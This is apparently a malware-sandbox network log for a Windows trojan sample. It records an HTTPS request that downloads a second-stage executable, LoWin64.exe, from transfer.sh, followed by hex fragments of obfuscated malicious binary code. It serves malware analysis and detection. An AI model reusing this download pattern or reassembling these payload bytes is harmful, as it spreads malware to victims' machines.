2023-05-14 02:34:44 UTC	1488	IN	Data Raw: 08 e9 03 00 00 00 4b 1e d6 e9 03 00 00 00 45 bc cf 4d 8b 24 24 e9 07 00 00 00 dc f3 ca b8 14 43 c0 48 8d 64 24 f8 e9 05 00 00 00 14 db e9 e4 4e 48 89 04 24 e9 05 00 00 00 27 fe 9e 94 1f 9f e9 07 00 00 00 cd 2f 3a f6 df 16 56 38 c9 74 07 56 1e 8d a5 e2 be 95 e8 07 00 00 00 49 f1 42 45 5f 5f 5b 48 8d 64 24 08 eb 03 28 d4 b1 9e 58 e9 04 00 00 00 f4 60 fc d0 e9 07 00 00 00 e7 d2 85 6e db af 50 4c 8b ec 49 81 c5 c0 00 00 00 4d 8b 6d 00 eb 03 41 a7 4a 48 8d 64 24 f8 e9 07 00 00 00 37 55 31 e4 8b bf c8 48 89 04 24 9f eb 03 fa d2 64 38 c0 eb 07 64 97 4f 7b 14 c2 2b 74 06 f9 5d 57 27 4e 40 e8 06 00 00 00 71 b7 a7 a0 b3 94 48 83 04 24 25 38 c0 e9 05 00 00 00 81 20 32 67 9d 74 06 a8 84 f5 74 67 b0 c3 63 16 78 47 46 eb 06 20 7a 9a f2 80 d1 9e 58 e9 04 00 00 00 23 80 Data Ascii: KEM$$CHd$NH$'/:V8tVIBE__[Hd$(X`nPLIMmAJHd$7U1H$d8dO{+t]W'N@qH$%8 2gttgcxGF zX#
2023-05-14 02:34:44 UTC	1504	IN	Data Raw: f2 ab e6 8c 8b 48 33 c9 eb 07 3a 61 77 42 c3 c6 25 50 9f 38 e4 e9 05 00 00 00 99 53 42 8d 71 74 06 f7 e5 44 cf d4 9a e8 02 00 00 00 3b 76 48 83 c4 08 eb 04 dc 4f c1 5b 9e 58 8a 0f 48 ff c7 50 eb 06 61 72 df b7 ba 34 9f f9 eb 06 ac 66 5a 5e e5 4e 72 07 31 e7 80 e9 54 de 66 e8 06 00 00 00 ea f4 b9 aa 34 4a 48 8d 64 24 08 eb 04 f5 44 9c 1a e9 05 00 00 00 7a 8b e7 6e db 9e 48 8b 04 24 e9 04 00 00 00 57 81 60 2a 48 8d 64 24 08 eb 06 64 40 99 d4 d3 aa 48 33 c0 e9 07 00 00 00 c4 11 7e 85 f5 e7 38 50 e9 02 00 00 00 c0 d8 9f e9 06 00 00 00 17 95 e4 30 b8 e4 f8 e9 04 00 00 00 2b b3 f7 32 73 07 87 ef eb 63 96 49 4d e8 07 00 00 00 ce d1 88 ad bc c0 ec 48 8d 64 24 08 9e 48 8b 04 24 e9 04 00 00 00 ee cc 64 82 48 8d 64 24 08 48 33 db eb 02 3c 76 50 e9 02 00 00 00 ec d2 Data Ascii: H3:awB%P8SBqtD;vHO[XHPar4fZ^Nr1Tf4JHd$DznH$W`*Hd$d@H3~8P0+2scIMHd$H$dHd$H3<vP
2023-05-14 02:34:44 UTC	1520	IN	Data Raw: 6a 48 ff c4 38 c9 e9 02 00 00 00 b6 50 74 05 9c 4d db 94 79 48 ff c4 38 e4 eb 06 38 45 e7 2f 36 90 74 05 67 45 ff ae fe 48 ff c4 f8 e9 05 00 00 00 66 20 e0 25 26 73 07 15 54 1c 54 43 21 18 eb 05 88 ff fe 56 8a 9e 48 8b 04 24 eb 04 18 28 94 8d 48 8d 64 24 08 48 81 c1 f0 00 00 00 e9 04 00 00 00 8e d0 aa bb 50 eb 02 74 1a 9f e9 04 00 00 00 5d 43 9b 76 eb 05 8c 86 81 88 da e8 06 00 00 00 3d 4e a2 59 b2 cb 48 83 04 24 18 f8 73 02 e2 57 c3 ff d4 e7 9f 23 59 cb eb 07 84 1f f5 fd 3b 66 cb 9e 48 8b 04 24 eb 06 6c 29 d8 1e 21 9e 48 8d 64 24 08 eb 07 df 3b 29 52 36 51 8f 48 8b 09 51 9d 48 0b c3 e9 05 00 00 00 7e 18 b6 99 9f 48 8d 64 24 f8 48 89 04 24 eb 03 33 17 22 9f f8 eb 04 2e 63 5d 95 73 06 41 73 1a ea 89 74 e8 05 00 00 00 eb d3 31 24 be 48 8d 64 24 08 eb 05 da Data Ascii: jH8PtMyH88E/6tgEHf %&sTTC!VH$(Hd$HPt]Cv=NYH$sW#Y;fH$l)!Hd$;)R6QHQH~Hd$H$3".c]sAst1$Hd$
2023-05-14 02:34:44 UTC	1536	IN	Data Raw: 90 73 06 94 bb 47 76 5c b1 48 ff c4 f9 72 07 e5 43 44 a7 78 25 39 48 ff c4 f8 73 06 26 1e 94 9b bf e0 48 ff c4 eb 06 fb 1c 98 d8 e1 81 48 ff c4 f9 e9 06 00 00 00 21 78 6f c8 32 90 72 02 fd 35 eb 02 c4 99 eb 05 66 bc 6c d5 33 9e 48 8b 04 24 48 8d 64 24 08 eb 04 64 ea 45 39 48 33 c9 8a 0f 48 33 db 48 8b 1c cc 48 ff c7 eb 03 98 a0 1a 50 eb 06 a9 e9 51 da 81 6c 9f e9 04 00 00 00 c5 1d b8 ef 38 c9 74 02 4d c0 e8 06 00 00 00 1b e4 3e be 27 1f 48 ff c4 f8 73 05 b2 d7 7c b8 bd 48 ff c4 38 ff 74 07 cf df a1 4c e7 48 a2 48 ff c4 f9 e9 04 00 00 00 7e 36 a4 93 72 05 ca 22 a6 a2 9f 48 ff c4 38 db 74 06 c1 ed ad 51 ac ae 48 ff c4 f9 e9 07 00 00 00 25 35 7e da 84 cc 66 72 03 6e 32 d2 48 ff c4 f9 eb 04 77 4d d0 a8 72 02 42 49 48 ff c4 38 c0 e9 06 00 00 00 89 ea 26 d7 11 Data Ascii: sGv\HrCDx%9Hs&HH!xo2r5fl3H$Hd$dE9H3H3HHPQl8tM>'Hs\|H8tLHH~6r"H8tQH%5~frn2HwMrBIH8&
2023-05-14 02:34:44 UTC	1552	IN	Data Raw: 70 00 00 00 00 00 00 00 13 03 03 0b 02 03 1a 03 02 03 03 0e 02 07 0b 48 00 00 00 00 00 00 00 13 03 03 0b 02 03 0b 1a 03 03 0b 03 02 03 03 0e 02 07 0b a0 00 00 00 00 00 00 00 13 03 03 0b 02 03 1a 03 02 03 03 0e 02 07 0b 40 00 00 00 00 00 00 00 13 03 03 0b 02 03 0b 1a 03 03 0b 03 02 03 03 0e 02 07 0b 38 00 00 00 00 00 00 00 13 03 03 0b 02 07 0b 00 00 00 00 00 00 00 00 03 03 0b 03 02 03 03 0e 02 07 0b 30 00 00 00 00 00 00 00 13 03 03 0b 02 07 0b 00 00 00 00 00 00 00 00 03 03 0b 03 02 03 03 0e 02 07 0b 28 00 00 00 00 00 00 00 13 03 03 0b 02 07 0b 00 00 00 00 00 00 00 00 03 02 0b 03 02 03 03 0e 02 07 0b 20 00 00 00 00 00 00 00 13 03 03 0b 02 07 0b 00 00 00 00 00 00 00 00 03 02 0b 03 02 03 03 1c 02 03 0b 1c 0e 03 03 0b 02 03 1c 03 02 03 03 13 02 03 0b 13 0e 03 Data Ascii: pH@80(
2023-05-14 02:34:44 UTC	1568	IN	Data Raw: 03 14 10 72 02 00 00 02 03 03 0e 02 07 0b 32 00 00 00 00 00 00 00 13 03 03 0b 02 03 1a 03 02 03 03 1a 02 03 1b 03 02 03 03 1a 02 03 0b 1a 0e 03 03 0b 02 03 1a 03 02 07 03 01 00 00 00 00 00 00 00 02 02 16 03 02 07 20 55 79 2f 40 01 00 00 00 0a 02 03 03 0e 02 07 0b 6a 00 00 00 00 00 00 00 13 03 03 0b 02 03 17 03 02 03 03 0e 02 07 0b 32 00 00 00 00 00 00 00 13 03 03 0b 02 03 16 03 02 07 20 fe 31 01 40 01 00 00 00 02 07 03 c7 e7 2d 40 01 00 00 00 02 07 0b 08 00 00 00 00 00 00 00 10 03 0e 0b 03 03 03 0e 0a 02 03 03 1a 02 03 16 03 02 07 20 88 e6 04 40 01 00 00 00 02 07 03 d2 e7 2d 40 01 00 00 00 02 07 0b 08 00 00 00 00 00 00 00 10 03 0e 0b 03 03 03 0e 0a 02 03 03 1a 02 03 16 03 02 07 20 85 5b 07 40 01 00 00 00 02 07 03 dd e7 2d 40 01 00 00 00 02 07 0b 08 00 00 Data Ascii: r2 Uy/@j2 1@-@ @-@ [@-@

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.3	49709	144.76.136.153	443	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Trojan-gen.31951.26059.exe

Timestamp	kBytes transferred	Direction	Data
2023-05-14 02:35:46 UTC	1582	OUT	GET /get/1h9hjM/LoWin64.exe HTTP/1.1 User-Agent: Monkey Host: transfer.sh Connection: Keep-Alive
2023-05-14 02:35:47 UTC	1582	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 14 May 2023 02:35:47 GMT Content-Type: application/x-ms-dos-executable Content-Length: 1628132 Connection: close Cache-Control: no-store Content-Disposition: attachment; filename="LoWin64.exe" Retry-After: Sun, 14 May 2023 04:35:49 GMT X-Made-With: <3 by DutchCoders X-Ratelimit-Key: 127.0.0.1,102.129.143.47,102.129.143.47 X-Ratelimit-Limit: 10 X-Ratelimit-Rate: 600 X-Ratelimit-Remaining: 9 X-Ratelimit-Reset: 1684031749 X-Remaining-Days: n/a X-Remaining-Downloads: n/a X-Served-By: Proudly served by DutchCoders Strict-Transport-Security: max-age=63072000
2023-05-14 02:35:47 UTC	1582	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 b2 dd c4 44 f6 bc aa 17 f6 bc aa 17 f6 bc aa 17 e2 d7 ae 16 eb bc aa 17 e2 d7 a9 16 e3 bc aa 17 e2 d7 af 16 38 bc aa 17 a4 c9 af 16 d0 bc aa 17 a4 c9 ae 16 e4 bc aa 17 a4 c9 a9 16 fc bc aa 17 e2 d7 ab 16 f3 bc aa 17 f6 bc ab 17 88 bc aa 17 f6 bc aa 17 f7 bc aa 17 92 c6 ae 16 b4 bc aa 17 32 c9 ae 16 f7 bc aa 17 32 c9 aa 16 f7 bc aa 17 32 c9 55 17 f7 bc aa 17 f6 bc 3d 17 f7 bc aa Data Ascii: MZ@ !L!This program cannot be run in DOS mode.$D8222U=
2023-05-14 02:35:47 UTC	1598	IN	Data Raw: a4 6d 3b 71 69 7f 83 7c 24 54 00 9c f9 e9 07 00 00 00 60 ba 93 85 9c b2 98 72 04 2b d7 c9 38 e8 06 00 00 00 b5 da 6b 5a 7f 77 48 8d 64 24 08 9d eb 04 4c bb aa 1a 0f 8c 39 00 00 00 eb 06 7d aa 57 9f e5 94 9c eb 02 ec 11 f9 72 04 3a 36 bd a5 e8 03 00 00 00 e1 b8 32 48 8d 64 24 08 eb 04 49 77 6a e1 9d eb 02 cf d3 c7 44 24 64 01 00 00 00 e9 08 00 00 00 c7 44 24 64 00 00 00 00 83 7c 24 64 00 0f 85 53 00 00 00 33 c0 e9 fa 04 00 00 eb 05 b1 69 fd 84 b7 50 e9 02 00 00 00 15 6a 9f eb 02 b5 d1 f9 72 04 11 21 7c c2 e8 04 00 00 00 ac 55 95 76 48 83 04 24 1c f8 eb 04 bb 29 a4 82 73 04 6f b8 3f c4 c3 3b ed 3b 8b 94 eb 04 f4 ff ef f5 e9 03 00 00 00 62 d4 60 9e 58 33 d2 48 8b 8c 24 b0 00 00 00 e8 b8 bc 01 00 8b 40 0c eb 04 46 6f f8 f7 9c e9 04 00 00 00 d9 22 73 d1 e8 05 Data Ascii: m;qi\|$T`r+8kZwHd$L9}Wr:62Hd$IwjD$dD$d\|$dS3iPjr!\|UvH$)so?;;b`X3H$@Fo"s
2023-05-14 02:35:47 UTC	1614	IN	Data Raw: 02 76 de 74 06 51 95 34 a5 5c ac 48 ff c4 f9 eb 06 23 61 5a 1f bb c6 72 04 ee e7 e1 97 48 ff c4 f8 73 03 94 62 df 48 ff c4 9d e9 9e 06 00 00 e9 06 00 00 00 b5 e4 98 e9 c6 dc 48 8d 64 24 f8 eb 03 9f 3a 99 48 89 04 24 9f f8 eb 04 7e de dd 84 73 03 1d 3f 9f e8 04 00 00 00 3a a5 b6 9a 48 83 c4 08 eb 07 a3 2e c3 ea c5 53 2b 9e 58 e9 05 00 00 00 27 ed 14 59 a7 48 c7 44 24 30 00 00 00 00 c7 44 24 28 80 00 00 00 c7 44 24 20 04 00 00 00 45 33 c9 48 8d 64 24 f8 e9 07 00 00 00 dd 6e 97 d2 74 7d 5d 48 89 04 24 e9 04 00 00 00 6f c3 db ef 9f e9 03 00 00 00 73 12 5b f9 eb 07 45 9f 66 28 33 e2 bd 72 07 f7 78 ce aa 8f 6e a3 e8 06 00 00 00 c8 f8 bf 41 92 75 48 83 c4 08 eb 02 e3 5e e9 03 00 00 00 29 c0 a0 9e 58 e9 02 00 00 00 8c d7 eb 06 2e dc f4 77 bc ed 45 33 c0 9c eb 07 Data Ascii: vtQ4\H#aZrHsbHHd$:H$~s?:H.S+X'YHD$0D$(D$ E3Hd$nt}]H$os[Ef(3rxnAuH^)X.wE3
2023-05-14 02:35:47 UTC	1630	IN	Data Raw: 82 38 db eb 07 ae cb c4 e7 f2 d0 1c 74 03 a4 bc dc e8 05 00 00 00 ff f9 21 42 5a 48 8d 64 24 08 eb 04 54 45 98 36 e9 02 00 00 00 83 19 9e 58 e9 05 00 00 00 68 58 cc 99 8a 48 8b 04 24 48 ff c0 eb 06 6a 2f e3 33 23 52 50 eb 05 ac de cc ff f2 9f e9 03 00 00 00 ad 56 47 f8 73 05 95 47 c9 4d 84 e8 04 00 00 00 19 a2 95 b3 48 ff c4 f8 73 02 99 d9 48 ff c4 48 ff c4 f8 73 02 4c 7b 48 ff c4 38 c9 e9 05 00 00 00 4f 15 d5 69 53 74 07 c7 cd c9 7f 3b 46 a7 48 ff c4 f9 eb 06 31 db c8 99 ab df 72 07 8c 7c 6d f0 4e 23 32 48 ff c4 f9 eb 03 85 38 fb 72 05 1d b9 f1 d9 aa 48 ff c4 eb 06 76 a3 2d 83 cd 88 48 ff c4 38 db e9 03 00 00 00 64 80 39 74 06 d8 8c da 98 a1 fe eb 06 e7 39 74 3b b2 7e e9 06 00 00 00 f5 7f b5 fe c9 5b 9e 48 8b 04 24 48 8d 64 24 08 e9 06 00 00 00 d7 c0 cc Data Ascii: 8t!BZHd$TE6XhXH$Hj/3#RPVGsGMHsHHsL{H8OiSt;FH1r\|mN#2H8rHv-H8d9t9t;~[H$Hd$
2023-05-14 02:35:47 UTC	1646	IN	Data Raw: e9 27 01 00 00 48 8d 64 24 f8 e9 02 00 00 00 ed 6d 48 89 04 24 9f e9 06 00 00 00 6e 58 f0 7c c9 ae e8 07 00 00 00 d8 38 1b c1 ca 18 59 48 83 04 24 20 f9 eb 05 9b 92 67 c0 5f 72 06 d9 d4 be d7 f5 cb c3 49 ba f9 9e 48 8b 04 24 48 8d 64 24 08 33 c0 50 eb 05 f1 f1 25 19 e1 9f eb 02 ae e6 38 c0 e9 05 00 00 00 90 1d 3c d3 44 74 05 32 cd 55 a6 28 e8 07 00 00 00 dd 11 1e 14 26 50 e5 48 83 04 24 22 f9 e9 04 00 00 00 22 ce fd 7e 72 07 49 e1 66 e9 c1 cd 9d c3 ee 61 eb 04 a5 1e 96 9d 9e 58 e9 04 00 00 00 8a d1 12 74 e9 06 00 00 00 ce 50 4f 8a 76 e0 85 c0 0f 85 da fa ff ff 50 9f e9 02 00 00 00 cf 77 f8 e9 04 00 00 00 f7 36 73 b5 73 07 14 62 22 eb 81 67 89 e8 07 00 00 00 ce 3e 57 55 15 c3 a8 48 83 04 24 1e f8 eb 04 75 e0 f4 81 73 04 20 ae 11 58 c3 83 8e 23 32 e9 03 00 Data Ascii: 'Hd$mH$nX\|8YH$ g_rIH$Hd$3P%8<Dt2U(&PH$""~rIfaXtPOvPw6ssb"g>WUH$us X#2
2023-05-14 02:35:47 UTC	1662	IN	Data Raw: b6 54 24 20 48 8b 4c 24 48 e8 c3 00 00 00 eb 02 5b 1b 48 8d 64 24 f8 e9 03 00 00 00 d4 22 77 48 89 04 24 9f 38 c9 e9 04 00 00 00 70 dd d7 14 74 02 fc 30 e8 03 00 00 00 f7 51 c4 48 83 04 24 12 eb 04 b9 1e d7 7f c3 f4 d0 f4 eb 04 b4 bb 67 ab e9 07 00 00 00 6d 2e e3 cf f3 ff 1d 9e 48 8b 04 24 e9 06 00 00 00 bf 85 ad 19 57 f4 48 8d 64 24 08 e9 03 00 00 00 54 ea 39 48 8b 44 24 48 eb 07 74 25 53 cb 6d 9c 85 50 eb 07 8a ae 48 61 f5 45 e1 9f f9 e9 03 00 00 00 e8 c5 cc 72 03 61 b6 4a e8 02 00 00 00 9c c6 48 83 c4 08 eb 02 55 3c 9e 58 e9 06 00 00 00 f2 78 4e 98 cf e7 eb 04 76 d6 a1 9b e9 05 00 00 00 e9 00 00 00 00 48 83 c4 38 c3 88 54 24 10 48 89 4c 24 08 48 83 ec 28 e9 00 00 00 00 48 8b 4c 24 30 e8 1f 43 00 00 48 8b 44 24 30 e9 05 00 00 00 e9 00 00 00 00 48 83 c4 Data Ascii: T$ HL$H[Hd$"wH$8pt0QH$gm.H$WHd$T9HD$Ht%SmPHaEraJHU<XxNvH8T$HL$H(HL$0CHD$0H
2023-05-14 02:35:47 UTC	1678	IN	Data Raw: 7d 43 67 7c 67 72 07 b7 9c 21 cd 3f ea cd 48 ff c4 f9 e9 07 00 00 00 89 11 79 14 f3 13 21 72 04 90 91 6d 62 48 ff c4 38 ff eb 07 2a ef 8a d0 bd 6e 8a 74 05 28 2f f0 2f 6b e9 04 00 00 00 48 7a e2 83 9d e9 04 00 00 00 ec 56 75 6c e9 04 00 00 00 de 18 ed 9c c6 44 24 17 30 c6 44 24 18 38 c6 44 24 19 64 e9 03 00 00 00 3d ad b9 48 8d 64 24 f8 e9 02 00 00 00 dc 3b 48 89 04 24 e9 02 00 00 00 c2 67 9f e9 05 00 00 00 26 cc 83 8e 53 f9 e9 04 00 00 00 24 2f d1 90 72 05 42 34 ba 82 d3 e8 03 00 00 00 4c f2 ad 48 83 04 24 20 f9 e9 03 00 00 00 bb c5 32 72 07 fa 37 aa 79 1b 98 a3 c3 6e cc 4c c4 dc e9 03 00 00 00 a5 45 56 9e 58 e9 02 00 00 00 3a d9 eb 07 13 d3 4f 6f dc 35 8a c6 44 24 1a 20 c6 44 24 1b 25 c6 44 24 1c 64 e9 03 00 00 00 19 9b e9 50 eb 02 ff cf 9f 38 ff e9 07 Data Ascii: }Cg\|gr!?Hy!rmbH8*nt(//kHzVulD$0D$8D$d=Hd$;H$g&S$/rB4LH$ 2r7ynLEVX:Oo5D$ D$%D$dP8
2023-05-14 02:35:47 UTC	1694	IN	Data Raw: b0 1d 48 ff c4 f9 72 05 ee d7 b8 79 df 48 ff c4 48 ff c4 f9 e9 02 00 00 00 39 a1 72 03 e3 d4 6f 48 ff c4 eb 07 92 9a e3 c2 78 79 64 48 ff c4 38 db eb 02 e4 b3 74 07 d3 db 51 8c d3 7b 5d 48 ff c4 48 ff c4 f9 e9 02 00 00 00 35 f0 72 03 ff 3d a4 e9 05 00 00 00 c5 74 d1 37 92 9e 48 8b 04 24 e9 03 00 00 00 b4 2d 93 48 8d 64 24 08 eb 07 e5 c8 97 24 93 fd 4f e9 07 00 00 00 4c 83 f5 59 7c 1e ee 88 08 48 8d 64 24 f8 eb 06 ec fc f6 69 25 fe 48 89 04 24 e9 06 00 00 00 6f ca 69 24 ac 70 9f 38 e4 74 05 41 98 6c 85 df e8 04 00 00 00 ea f7 63 e5 48 83 04 24 1e f9 eb 04 97 cb 86 9e 72 07 14 d3 e0 bb fa 6e 37 c3 a2 41 92 33 e9 04 00 00 00 ec 99 2a 5d eb 06 4e 20 37 ae f9 ad 9e 58 e9 07 00 00 00 2d a7 d8 9d 74 6e eb eb 03 c5 55 4c e9 37 fc ff ff e9 03 00 00 00 44 27 7e 9c Data Ascii: HryHH9roHxydH8tQ{]HH5r=t7H$-Hd$$OLY\|Hd$i%H$oi$p8tAlcH$rn7A3*]N 7X-tnUL7D'~
2023-05-14 02:35:47 UTC	1710	IN	Data Raw: 02 00 00 00 b0 01 c3 4c 89 4c 24 20 44 89 44 24 18 48 89 54 24 10 48 89 4c 24 08 48 83 ec 38 83 7c 24 50 00 0f 85 0a 00 00 00 b8 ff ff 00 00 e9 8f 00 00 00 b8 ff ff 00 00 66 89 44 24 20 c7 44 24 24 00 00 00 00 e9 0a 00 00 00 8b 44 24 24 ff c0 89 44 24 24 8b 44 24 50 39 44 24 24 0f 83 5b 00 00 00 8b 44 24 24 48 8b 4c 24 58 8b 04 81 48 8b 4c 24 48 48 03 c8 48 8b c1 48 89 44 24 28 48 83 7c 24 28 00 0f 84 2e 00 00 00 48 8b 54 24 40 48 8b 4c 24 28 e8 f0 f4 ff ff 85 c0 0f 85 17 00 00 00 8b 44 24 24 48 8b 4c 24 60 0f b7 04 41 66 89 44 24 20 e9 05 00 00 00 e9 8d ff ff ff 0f b7 44 24 20 48 83 c4 38 c3 48 89 54 24 10 48 89 4c 24 08 48 81 ec 88 00 00 00 48 c7 44 24 48 00 00 00 00 c7 44 24 50 00 00 00 00 48 8b 8c 24 90 00 00 00 e8 03 fd ff ff 48 89 44 24 58 b8 08 00 Data Ascii: LL$ DD$HT$HL$H8\|$PfD$ D$$D$$D$$D$P9D$$[D$$HL$XHL$HHHHD$(H\|$(.HT$@HL$(D$$HL$`AfD$ D$ H8HT$HL$HHD$HD$PH$HD$X
2023-05-14 02:35:47 UTC	1726	IN	Data Raw: 89 e9 00 00 00 00 48 83 c4 38 c3 88 54 24 10 48 89 4c 24 08 48 83 ec 28 e9 00 00 00 00 48 8b 4c 24 30 e8 f0 cc 03 00 48 8b 44 24 30 e9 05 00 00 00 e9 00 00 00 00 48 83 c4 28 c3 40 57 48 81 ec 20 03 00 00 48 c7 84 24 88 00 00 00 00 00 00 00 c7 44 24 50 17 00 00 c0 48 8d 44 24 54 48 8b f8 33 c0 b9 01 00 00 00 f3 aa 48 8d 94 24 f0 00 00 00 48 8d 4c 24 54 e8 58 cb ff ff 48 8b c8 e8 82 f6 03 00 48 8b c8 e8 61 c5 ff ff 48 89 44 24 78 48 83 7c 24 78 00 0f 85 05 00 00 00 e9 c1 02 00 00 41 b8 08 02 00 00 33 d2 48 8d 8c 24 10 01 00 00 e8 bf b3 ff ff 48 8d 94 24 10 01 00 00 48 8b 4c 24 78 e8 98 cc ff ff 89 44 24 50 83 7c 24 50 00 0f 8c 0d 00 00 00 c7 44 24 58 01 00 00 00 e9 08 00 00 00 c7 44 24 58 00 00 00 00 83 7c 24 58 00 0f 85 05 00 00 00 e9 66 02 00 00 48 8d 8c Data Ascii: H8T$HL$H(HL$0HD$0H(@WH H$D$PHD$TH3H$HL$TXHHaHD$xH\|$xA3H$H$HL$xD$P\|$PD$XD$X\|$XfH
2023-05-14 02:35:47 UTC	1742	IN	Data Raw: cf 9f eb 04 1b b9 cc d7 38 f6 e9 03 00 00 00 9c 7f d8 74 06 8a 4d 27 84 e5 69 e8 05 00 00 00 c7 31 16 75 81 48 83 c4 08 9e 48 8b 04 24 eb 02 18 2d 48 8d 64 24 08 eb 07 39 41 f3 48 2a 3b c1 e8 84 e6 05 00 48 89 44 24 68 eb 05 b8 20 3e 9f 3c 48 8d 64 24 f8 eb 02 71 56 48 89 04 24 eb 06 4b 32 f9 a2 26 38 9f e9 04 00 00 00 e6 25 57 40 f9 72 05 2f 26 e3 dc b3 e8 04 00 00 00 e9 77 c7 ca 48 83 04 24 1e 38 ff e9 02 00 00 00 5f 8e 74 03 43 ac 73 c3 9e 6c 11 8d 34 8f 9e 48 8b 04 24 eb 03 81 1e a9 48 8d 64 24 08 eb 02 91 fa e9 05 00 00 00 51 ed 2a 6b fc 48 8d 84 24 88 00 00 00 eb 05 d8 4f 89 21 5c 48 8d 64 24 f8 48 89 04 24 9f e8 05 00 00 00 be b1 f0 d8 9d 48 ff c4 e9 07 00 00 00 3a c6 a2 27 9d 33 21 48 ff c4 f9 e9 05 00 00 00 9a 7f fb 2f e6 72 06 86 6a db b6 95 9c Data Ascii: 8tM'i1uHH$-Hd$9AH;HD$h ><Hd$qVH$K2&8%W@r/&wH$8_tCsl4H$Hd$QkH$O!\Hd$H$H:'3!H/rj
2023-05-14 02:35:47 UTC	1758	IN	Data Raw: 03 00 00 00 d0 46 e5 74 05 e6 fd b3 3b b5 e8 02 00 00 00 f2 b3 48 ff c4 eb 03 8c 28 b0 48 ff c4 38 db e9 03 00 00 00 5b 8f e2 74 07 5d c4 4f d1 11 4e 94 48 ff c4 eb 02 44 9e 48 ff c4 f8 e9 02 00 00 00 8d 2d 73 06 71 1f 76 1b fe a7 48 ff c4 f9 eb 02 35 39 72 04 75 a8 81 f2 48 ff c4 48 ff c4 f9 e9 03 00 00 00 eb 86 5c 72 02 66 1a 48 ff c4 f8 eb 05 7e 33 b9 81 cf 73 05 95 88 92 5e 92 eb 03 ba 37 52 9d eb 06 58 bd 52 92 bb d1 eb 06 fc 73 d7 8b 76 4a 4c 8b 84 24 90 00 00 00 e9 07 00 00 00 39 9d a2 36 3d 54 d3 50 eb 04 46 3a c2 b8 9f eb 02 6b a5 38 d2 eb 07 44 4a e5 33 99 9b cd 74 03 b0 d6 93 e8 07 00 00 00 90 4a 77 80 41 e3 6a 48 8d 64 24 08 e9 02 00 00 00 58 23 9e 48 8b 04 24 48 8d 64 24 08 eb 04 19 66 68 c7 eb 05 5d 1f 38 a9 db 48 8b d0 eb 07 5d 66 a3 a8 42 Data Ascii: Ft;H(H8[t]ONHDH-sqvH59ruHH\rfH~3s^7RXRsvJL$96=TPF:k8DJ3tJwAjHd$X#H$Hd$fh]8H]fB
2023-05-14 02:35:47 UTC	1774	IN	Data Raw: 7c 25 d0 48 8b 44 24 30 e9 64 00 00 00 33 c0 e9 02 00 00 00 b7 3a 48 8d 64 24 f8 e9 04 00 00 00 4f 15 58 94 48 89 04 24 eb 07 70 f7 68 7b 8e 4e 44 9f f8 e9 03 00 00 00 d7 1f f3 73 06 89 62 63 68 a6 f7 e8 04 00 00 00 33 95 b0 2d 48 83 c4 08 9e 58 e9 06 00 00 00 db 1e ef eb 1f 65 e9 05 00 00 00 9e ba fc 8f 2e e9 05 00 00 00 e9 00 00 00 00 48 83 c4 48 c3 44 89 44 24 18 48 89 54 24 10 48 89 4c 24 08 48 83 ec 28 e9 ab 00 00 00 eb 03 7c 55 c1 9c 38 db 74 07 21 32 be fb cc c3 35 e8 02 00 00 00 1e 8b 48 ff c4 38 db e9 04 00 00 00 4f 75 5e 42 74 05 2c d7 ba 22 47 48 ff c4 e9 03 00 00 00 95 1c 26 48 ff c4 f9 e9 04 00 00 00 e9 f2 bd 5c 72 03 f9 3c 34 48 ff c4 e9 03 00 00 00 f9 32 cb 48 ff c4 f8 73 06 1a fd dd c2 1f cb 48 ff c4 f9 e9 03 00 00 00 c0 74 73 72 04 db 51 Data Ascii: \|%HD$0d3:Hd$OXH$ph{NDsbch3-HXe.HHDD$HT$HL$H(\|U8t!25H8Ou^Bt,"GH&H\r<4H2HsHtsrQ
2023-05-14 02:35:47 UTC	1790	IN	Data Raw: 6e 69 eb 03 8e 40 8f e9 00 00 00 00 48 83 c4 60 5f c3 4c 89 44 24 18 89 54 24 10 89 4c 24 08 57 48 83 ec 60 e9 5d 00 00 00 eb 07 65 79 33 8c 1e 1e 26 50 eb 06 15 d9 b9 3c 7e c1 9f e8 04 00 00 00 79 d0 42 d9 48 83 04 24 1d f8 e9 02 00 00 00 8a 1d 73 02 6d ca c3 9d 93 dc 2f f3 ae a5 e9 06 00 00 00 c3 28 e3 5d cd 42 9e 48 8b 04 24 e9 02 00 00 00 5a 7e 48 8d 64 24 08 eb 02 90 49 e9 03 00 00 00 ad 1d 16 48 8d 44 24 20 48 8b f8 33 c0 b9 01 00 00 00 f3 aa 48 8d 54 24 44 48 8d 64 24 f8 48 89 04 24 eb 06 75 59 21 ea a7 36 9f e9 03 00 00 00 4d b5 c3 f8 eb 04 b7 d3 2a f1 73 02 bd c3 e8 07 00 00 00 ed 87 41 b3 62 fb 54 48 83 c4 08 e9 04 00 00 00 2b ec f9 97 eb 02 cc 25 9e 58 e9 03 00 00 00 76 18 58 48 8d 4c 24 20 eb 07 31 78 e3 7a 76 f9 31 9c e9 06 00 00 00 bc 5b 9e Data Ascii: ni@H`_LD$T$L$WH`]ey3&P<~yBH$sm/(]BH$Z~Hd$IHD$ H3HT$DHd$H$uY!6M*sAbTH+%XvXHL$ 1xzv1[
